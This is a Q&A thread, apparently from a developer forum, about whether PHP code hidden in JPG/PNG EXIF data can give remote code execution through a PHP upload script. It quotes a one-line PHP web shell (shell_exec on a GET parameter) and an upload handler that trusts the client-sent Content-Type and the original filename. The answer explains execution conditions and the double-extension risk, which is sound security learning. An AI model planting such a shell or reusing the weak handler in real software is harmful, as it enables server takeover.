0

I am trying to learn how JPG and PNG files can be used to get RCE. Below is my code for uploading files. It will check if the file content type is correct.

<?php

   $test = array('image/jpeg', 'image/png', 'image/jpg');

   $test2     = @$_FILES['filename'];
   $test3     = array('png', 'jpg', 'jpeg');
   $ut  = pathinfo($test2['name'], PATHINFO_EXTENSION);

   $original_path="uploadedfiles/";

   //New path uploadfile/filename.extension

   $original_path1 = $original_path.basename($test2['name']);
   $original_path2 = "C:/xampp/htdocs/demo/$original_path1";
   $resultpath  = "F:/".basename($test2['name']);

   if (isset($test2))
   {
      if (in_array($test2['type'], $test))
      {
         if (in_array($ut, $test3))
         {
            if(move_uploaded_file($test2["tmp_name"], $original_path1))
            {
               echo "The file ".basename($test2['name'])." has been uploaded successfully. <br><br> <img src=/demo/$original_path1>";
            }
            else
            {
               echo "Error in file upload";
            }
         }
         else
         {
            echo "Invalid File Extension";
         }
      }
      else
      {
         echo "Invalid file Content-type     ";
      }
   }
   else
   {
      echo "Where is the filename parameter? Go and make another request with the filename parameter.";
   }

?>

I have tried to change the description and user comment Exif header through this website with this payload:

<?if($_GET['r0ng']){echo"<pre>".shell_exec($_GET["r0ng"]);}?>

But failed.

So as a pentester, what other things can I try? I am sure that I am missing something important, but what?

3
+50

What you are missing is the actual execution of the uploaded file. A file would be harmless unless executed as a PHP script. And your web-server will treat a file according to its extension. So a regular web-server wouldn't execute jpg files as php scripts.

There are two caveats, however.

  • In some circumstances, Apache web server would treat a file named image.php.jpg indeed as a PHP file. So it could be a good idea to rename uploaded files to some meaningless names (this idea is good by itself anyway).
  • of course, there is not only a direct execution - an uploaded image could be included into a PHP script as well. But this would be a vulnerability by itself, one don't need a file upload facility to exploit it, so your site shouldn't allow including arbitrary files of user's choice anyway.
  • Hi, thanks for answering. Can you see this vulnerability secgeek.net/bookfresh-vulnerability I am talking saying that I want to exploit exactly as he exploits in that article? What you say after seeing this. – Utkarsh Agrawal Aug 3 '18 at 7:50
  • Okay and apart from that article I want to ask you that in when situation we inject php code in the contents of JPG, PNG file. ( you may see the contents of JPG, png files.). Hope that makes all sense? – Utkarsh Agrawal Aug 3 '18 at 7:53
  • 1
    This article is on the completely different vulnerability. The site allows the uploading of files with arbitrary filenames, so the guy just uploaded a php file. – Your Common Sense Aug 3 '18 at 7:57
  • So as it is said in my answer, most of time it makes no sense to inject a php code in the contents of JPG, PNG file. It simply wouldn't work. – Your Common Sense Aug 3 '18 at 7:59
  • oKAY, So one last thing, Is my code now safe for any uploading files of JPG, PNG? – Utkarsh Agrawal Aug 3 '18 at 8:58

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.